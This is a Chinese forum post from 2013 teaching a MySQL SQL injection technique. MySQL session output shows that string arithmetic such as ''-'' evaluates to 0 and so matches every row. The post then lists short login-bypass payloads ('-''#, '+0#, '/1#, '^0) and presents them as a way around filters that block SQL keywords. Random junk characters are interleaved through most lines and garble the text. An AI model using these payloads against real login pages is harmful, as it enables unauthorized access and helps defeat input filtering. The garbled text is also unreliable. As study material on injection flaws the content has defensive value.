找回密码
 立即注册
查看: 2851|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
我们先来看这样一个场景。
6 w( _1 U: W+ X  r0 {$ M" ^有以下表结构: 8 j: @! Q- L* c5 X, ]

# [; q3 W$ s0 D, G2 W' P$ r4 C% hmysql> desc admin;2 T$ N/ O" {5 Z& o3 _
+----------+--------------+------+-----+---------+----------------+
8 b/ r! R9 Y  h8 R, l) F| Field    | Type         | Null | Key | Default | Extra          |
2 J& w+ u$ @) x! P+ \9 _# s/ V+----------+--------------+------+-----+---------+----------------+* W4 D) u2 i7 E6 M
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
* [! @6 l2 M7 M) ~| name     | char(32)     | NO   | UNI | NULL    |                |- V9 K2 |0 R( w/ x' H
| password | char(32)     | NO   | UNI | NULL    |                |
2 t; \( p2 h) d9 T+ |; g+----------+--------------+------+-----+---------+----------------+
( g& n6 A. o* L' a4 E# c0 k3 rows in set (0.00 sec)
% q+ q' a2 x+ p1 e( g9 p, \执行select * from admin;,成功返回所有记录内容。
$ w2 w) D3 r+ u: @* y' ^, i: [, c7 `; I$ P
1 t+ J6 T0 R2 E. D9 G
+----+--------+----------------------------------+2 @6 G6 h$ v2 z/ t
| id | name   | password                         |0 }6 k3 E. m. W8 |2 {' U
+----+--------+----------------------------------+
8 B' T& h5 J& g0 y|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
' k0 s7 O7 T( h4 K- y6 Q|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |2 r$ o* }0 m1 p
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
0 Y1 o3 D  R/ I! B+----+--------+----------------------------------+% O/ r2 M* U: E/ Y; v, I' t# t' v
3 rows in set (0.00 sec)' ~4 w1 R5 P1 H1 f- V$ {
执行select * from admin where name=”;,没有匹配到任何记录。 5 \" f9 [/ o0 k2 ^: F( W2 K

. }9 |' D% a; k) O2 K, t6 Hmysql> select * from admin where name = '';
3 D. L6 O* L5 z( e; t( q3 @4 uEmpty set (0.00 sec)
$ e" w4 x3 Y. a2 H那么我们来执行select * from admin where name = ”-”;
: A4 M6 v9 G- {8 B4 w$ T. ~5 t; m7 U( T' P

2 e' `9 Q* \; O0 v4 J+----+--------+----------------------------------+
( ^3 w' d) L6 l- X. v+ A| id | name   | password                         |
6 a, I0 U  e0 y9 L* Q: C+----+--------+----------------------------------+9 E/ Q' F6 p% }$ |+ C0 m2 _
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |! I  j8 O4 ?- G
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
- S  a8 X  b- t! R|  4 | n00b   | ff80e8508d39047460921792273533a4 |* g. ^# v. J" O5 u& d# z) ^. o
+----+--------+----------------------------------+0 g2 D' P/ n' v9 A5 h
3 rows in set, 3 warnings (0.00 sec)! F) N8 j" H( n8 J) Q
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
4 q9 F  }( x+ f/ z' i: s" l8 B9 J* A2 X! N3 {
mysql> show warnings;* {3 o, t+ b5 P* N4 [& G: L" |
+---------+------+------------------------------------------& B8 R& D# u- k
| Level   | Code | Message
5 q% j7 r! b7 l1 v: f, a+---------+------+------------------------------------------
7 Y) v1 v% E( Y5 A1 i$ r5 V| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin8 j' a1 X/ x  m7 u* @8 h# O
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s. }7 e( r9 X( u% ]8 P& M
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b# `: {, @3 y% E: z* K
+---------+------+------------------------------------------
" h. e  j6 p$ F1 \/ {) j$ d. J3 rows in set (0.00 sec)
1 l) e: C0 ^" u3 o提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
6 _# u% Y) A" X/ [  G+ G8 y. q9 [  T. B& s. v' i4 L5 S: I7 P( p/ Y
mysql> select ''-'';
3 s% g: o8 m( J! }6 L+-------+
5 }  L" w% K6 M8 B8 z| ''-'' |* Y% j% p" s% K
+-------+# k: c+ p1 c8 R" |  ^
|     0 |
2 r2 L0 |5 X3 g- P1 _+-------+% Q/ F: p& ~7 T1 b# i
1 row in set (0.00 sec)
' Y5 }" K" N" V( w( b返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
. ^7 v! Y: B! c5 n+ P* z9 R7 x. ^
5 J0 u% z5 N: [, Ymysql> select CAST((select name from admin limit 1,1) as DECIMAL);& H) e2 a0 n' Z1 C+ J" _  l0 D% Z
+-----------------------------------------------------+
1 C1 @9 l. ]8 z, a9 \7 U| CAST((select name from admin limit 1,1) as DECIMAL) |
4 \1 c. B6 y0 N1 R% \7 T8 P+-----------------------------------------------------+: \  |- I3 q+ X4 E' y0 }$ q
|                                                   0 |
4 P8 A/ d5 J, Z( i+-----------------------------------------------------+
3 G0 n0 M5 e7 {! I7 P1 row in set, 1 warning (0.00 sec)* c. w4 I- E+ }3 t3 O6 c! g- @: e4 @, S( k
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 / M% y( L9 }* H# S( J

9 p) {( B4 H; s$ |6 A) pSQL注入场景: http://www.sqlzoo.net/hack/ 5 t" S$ u# L9 I' ]+ O2 @8 m5 Z$ |
: Y) {3 B* }, x- J" j: v

/ c  Y6 i" q/ o$ _% D1 ?1 k: U# r, |$ M$ p0 U
& ?' z9 x! {' M# k& J
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
6 Y* q% R$ f5 }1 u% x) z; c" U# Q4 S" _* h$ f' u9 s
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 ' g: p! c- S2 n$ t1 L7 F8 x' K

2 d  h- l, N& l. L0 x" f
) O6 i8 T  c! V; O+ o& Y) L
4 S5 d- s0 {* y9 |6 n, _% H- [, q3 f
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 5 l7 i& j7 `0 E, {
0 W/ x" u- t4 x& |& t
   
7 K, D. R, t! I& C
3 f4 N1 R# f! n6 e/ `0 E' [2 P  w除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
4 }: Y' W4 K2 {
( T" f* N9 a/ k) Y) s+ h6 f- ]& a9 n) G/ Y
mysql> select ''/1;: L/ H" l& N% U) Y) ?1 O2 I/ E/ B
+------+# d+ `% m6 J8 C& ]/ `  c, E8 A" r
| ''/1 |8 s7 i/ z' c4 z$ k( M& d) F# i
+------+
( N+ e9 p5 p2 Y1 }: u; ]2 M# ^# g|    0 |
0 [) ^1 m0 R! u; e+------+# d8 N) J' ]0 p) R/ w7 r
1 row in set (0.00 sec)2 I% r' F6 K" |, Y' S7 g
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
% I4 D8 Z; e+ l) z1 p1 |
9 v3 R" \  \4 G) p  `利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
( Q7 \: k- `: X8 b% f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表